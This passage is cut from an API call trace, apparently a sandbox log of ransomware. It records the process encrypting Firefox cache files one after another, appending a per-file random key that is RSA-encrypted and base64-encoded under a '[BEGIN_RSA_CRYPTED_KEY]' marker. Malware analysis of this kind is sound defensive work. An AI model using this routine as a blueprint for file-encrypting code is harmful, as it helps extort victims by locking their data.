lpOverlapped=0x0 | out: lpBuffer=0x313e810*, lpNumberOfBytesRead=0x2e3f9b4*=0x6b5, lpOverlapped=0x0) returned 1 [0252.571] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1717, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.571] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f84078*, nNumberOfBytesToWrite=0x6b5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f84078*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6b5, lpOverlapped=0x0) returned 1 [0252.572] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6b5 [0252.572] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.572] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.572] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.572] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.572] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.573] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2woY12q50VSMz+OHbgX52hlYxOOgk7Z+OHqmA6vaaBh2lPMf/CuhUnZKHfYP6+kO\ncPKKyKteWm4v3U/OAEWYkTPccvgy3zxazOZbx/rO6jGOZqSKhrF/S+zAnOwpvCwP\n6HTaxHBG1B6fNgocYZotP9GiPVYcl1BIRdDi45DwxxWfpAVlUK3c444cCCrZc2j2\nxKONsDFl8k86aMBdowIU3wYpueUUB0XzRp8D4qm8RJcV6PPOUu9v3/uL5M5TjGZi\npLINel1Bi6Lpiu7oxzyRvmjCLuGC0cllMDcHb+rCSRSr5aRBLe4xt2yrUD9AZ1rd\nPxSbr6nMNFS5zG5UiaxPng==\n", pcchString=0x2e3f9a8) returned 1 [0252.573] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.573] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.573] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.573] CloseHandle (hObject=0x1b84) returned 1 [0252.574] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.574] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\ECA009A1AF0A444A9DB2C707058FCF2D3FEC9ACD", dwFileAttributes=0x80) returned 1 [0252.575] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1284, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1284, lpOverlapped=0x0) returned 1 [0252.640] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4740, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.640] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f2e8*, nNumberOfBytesToWrite=0x1284, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f2e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1284, lpOverlapped=0x0) returned 1 [0252.641] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1284 [0252.641] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.641] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.641] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.641] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.642] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.642] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VmUG0Ows06hyF/eTqNMTiqicVLLuokV2u7gCZgm5iabup0MkJR15ZqtY5icfJRgp\nYAMZP3Dj5H6lq3NdJg8pUL9gyO2rnj9f4y2mtxW6sGzVPRTc+mfUVUQAL7QBuGJs\n20GjShHvDnaoswLq9UdQkQ9fxV7hS57KFlkFHSLSxJHjZ273fmXhVO0hI2Ge0e6N\nmZVJfbKrOXmgt1eoz42468nBXPj4uWvtemIol6y9LO01aVAILbv19mI5r4MmZKHp\n3ngmyOpv6pQ9nTuTPzLzdkjmChXlHRByqArrtI8/ZbsZpN5h543paZ6i6TW9cE+g\nMUrhcqe29XXC8UTPMeXGtA==\n", pcchString=0x2e3f9a8) returned 1 [0252.642] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.642] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.642] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.642] CloseHandle (hObject=0x1b84) returned 1 [0252.644] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.644] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EBDE98F20367971ABFE20BC912D3FB2E90144C1C", dwFileAttributes=0x80) returned 1 [0252.645] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x139c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x139c, lpOverlapped=0x0) returned 1 [0252.815] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5020, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.815] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f400*, nNumberOfBytesToWrite=0x139c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f400*, lpNumberOfBytesWritten=0x2e3f9b4*=0x139c, lpOverlapped=0x0) returned 1 [0252.816] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x139c [0252.816] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.816] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.816] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.816] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.817] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.817] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Uja/CrWyhQZlRCGLpHslV3PF9WbQA5EvmtgW3xDEd4/K+JHwH/FAVTTJ/UbnZe18\n2ov0pppAP9E4lu6n2S9IENFqDDTEPFsSIQ+oJVwjQ2PVz2LvQROGMZkVdM2S+Ppa\nV3gGEPBdsl2RVD125Vu2h9k2JdP6yI+iezDIviNSmlqNaEgbiBfPWUZ89C7eTOMW\n/b5Pv9rYOcIO2GUZZfTI7lwTcMtROPmJZa9TbTe9tm2YOcEhifMvisU/5lDeJpur\nC8A5dER41/Upv4CTLfdDxcWPwFWxjZGnjpAPoROssAoKK/TGZ3rjIXn4bLr2jLnW\nM6jEMH5cS0eg/8JvpUSXlQ==\n", pcchString=0x2e3f9a8) returned 1 [0252.817] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.817] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.817] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.817] CloseHandle (hObject=0x1b84) returned 1 [0252.819] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.819] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EB9044C11685A6968C5B76126EFB5E04D564420A", dwFileAttributes=0x80) returned 1 [0252.820] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0x8fd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0x8fd, lpOverlapped=0x0) returned 1 [0253.293] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.293] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0x8fd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8fd, lpOverlapped=0x0) returned 1 [0253.294] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8fd [0253.294] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.294] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.294] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.294] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.294] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.294] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AJviM+larJF7DAIrgmy6l6SgcLJqLSs9ZgDJn/U+ZUpgJyTbZIn/zxdgqKWWkAR4\nT4lM1WtsNVUgLCXOa4YEcp4T0mlhHvYTRv4wsAdE+fquykIAhu0aORvn3cV54IQy\nkH3JAhrEqR2KDgyxUN5iGmR9o80lpbSPJmtcYchWt436u4tANC1GKusdKgjp43Rh\nHh5QSSVP6cpO+n9HHMqnGUFQQCddKfd6x8FzCSIPntQx6h1fV6fME1CjhHh8huik\nTsRG2l+Fa1/EhxUGgTaNgT4mfyFUAT65fkSIwgK4YGXJuBN17ASFY/cQlcyWcTVk\nY/fqWQl+eHFk81OIvMPvZQ==\n", pcchString=0x2e3f9a8) returned 1 [0253.295] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.295] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.295] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.295] CloseHandle (hObject=0x1b84) returned 1 [0253.384] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.384] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EB27D4AC7F6929DF727CAA9A9A82E68EA601B374", dwFileAttributes=0x80) returned 1 [0253.385] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xd6e, lpOverlapped=0x0) returned 1 [0253.408] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3438, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.408] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xd6e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd6e, lpOverlapped=0x0) returned 1 [0253.408] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd6e [0253.408] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.408] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.409] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.409] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.409] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.409] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="tmyzLseBrTPzeLm4TjgP2nfbnY3H1XUveam+n2oC1In3Jy/MIhaK+zq2/3iM7Y30\n2ISGqweHIMmq564tyUFLtlkeGIHlfwXezGU0eleFfUbBzvQb4kSA739UR2OJ414l\nE6wcJPxfuNAlFFXZn4GIAgPJLe7dvmztlaETzOakc/ESrZplSUsfalnb0U5FMnjU\nhIFOrxxs1eTiEpxr0uWBsA7yvqcx3PJD3Zj8hmM9Q1wjtCl7lBctAz9A7wfiM5GK\nQZ6iTA0oms1auNVtZFG0OdVqL5+OAbqnFqPZYMLD+8/aCPGVEybmaByqcI9UJMGw\nv1s0ytPVwVHNb1b25rzdDw==\n", pcchString=0x2e3f9a8) returned 1 [0253.409] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.409] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.409] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.410] CloseHandle (hObject=0x1b84) returned 1 [0253.411] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.411] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EA8E3F76732A78CE8545DB08C4F7F28EE1A5E904", dwFileAttributes=0x80) returned 1 [0253.412] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x6222, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x6222, lpOverlapped=0x0) returned 1 [0253.433] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-25122, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.433] WriteFile (in: hFile=0x1b84, lpBuffer=0x3454288*, nNumberOfBytesToWrite=0x6222, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3454288*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6222, lpOverlapped=0x0) returned 1 [0253.434] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6222 [0253.434] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.434] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.435] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.435] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="V8vYbU1yPWRU1PqvtoQFqfaaXI2Wf2mewClTyh/N+3a1/4sWLAh8vYxu5j2bSHjJ\nl4TTF6+wkU7QZecPYrhN6CSEYOiwctINnCRf+IcROcm7vWSYdZoHof9QSM4zCkrP\nJuoP4zm2C23D6/RVgxI31r3Vby2+QHYt++DOiO2P/TPrLIOMMnDX0lo5PrTlrPXh\nOgf8KA8Smm6QNo44zw+kJpS6642fy8ANpnI5bT//qg39sUEIXz8AzuoGXmth64uU\nHecLbjcyz/IL//iJpSDaHpOf/9IGBxOUQT0U4S76ek9PML+kTLlFlY3IrE/bW2IY\nJ0UEVnejPyrAdmG/XuHfoA==\n", pcchString=0x2e3f9a8) returned 1 [0253.435] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.435] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.435] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.436] CloseHandle (hObject=0x1b84) returned 1 [0253.437] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.437] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EA558F9B71B58E0929E1AD9AC42586FD67AA28E8", dwFileAttributes=0x80) returned 1 [0253.437] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x14711, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x14711, lpOverlapped=0x0) returned 1 [0253.448] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-83729, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.448] WriteFile (in: hFile=0x1b84, lpBuffer=0x3462778*, nNumberOfBytesToWrite=0x14711, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3462778*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14711, lpOverlapped=0x0) returned 1 [0253.449] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14711 [0253.449] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.449] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.450] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.450] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.450] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.450] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3z6AGS35jYyGdJQVIMXXqZhsrDFZD6wvTYEFPx/GEwHoFpaslpgXS/Rx3dgAm3ns\nbHBpyMILxgLVh9zl7Kf/T5ObFEy07TRC39XcmNT8/ddvfBjVXCxn0Rr5oHuLQpgJ\nihz1UmXdYeNXHOWyyjGilBkKnLdllM8Lg9YzNY04iK7FRa5oHGhVdS1ccaM8IhgO\njJuIHOR3BurRW/ofM6KtqTmPO2ocHZKpxqw5cZ/n/GtPo00jdd9TWSCnDHHm6IZ3\npGxGsP5UUSQYyE0cgspxWCgRWOQkg+KDDsWpN3DdpinRr8hua5NJ/J+3LTQpS2Pr\naZnWKMOwTQm4fMXLwEaiDA==\n", pcchString=0x2e3f9a8) returned 1 [0253.450] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.451] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.451] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.451] CloseHandle (hObject=0x1b84) returned 1 [0253.452] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.452] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EA342A955A7CF6963E7DB4CDC460D3294050518D", dwFileAttributes=0x80) returned 1 [0253.453] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d2, 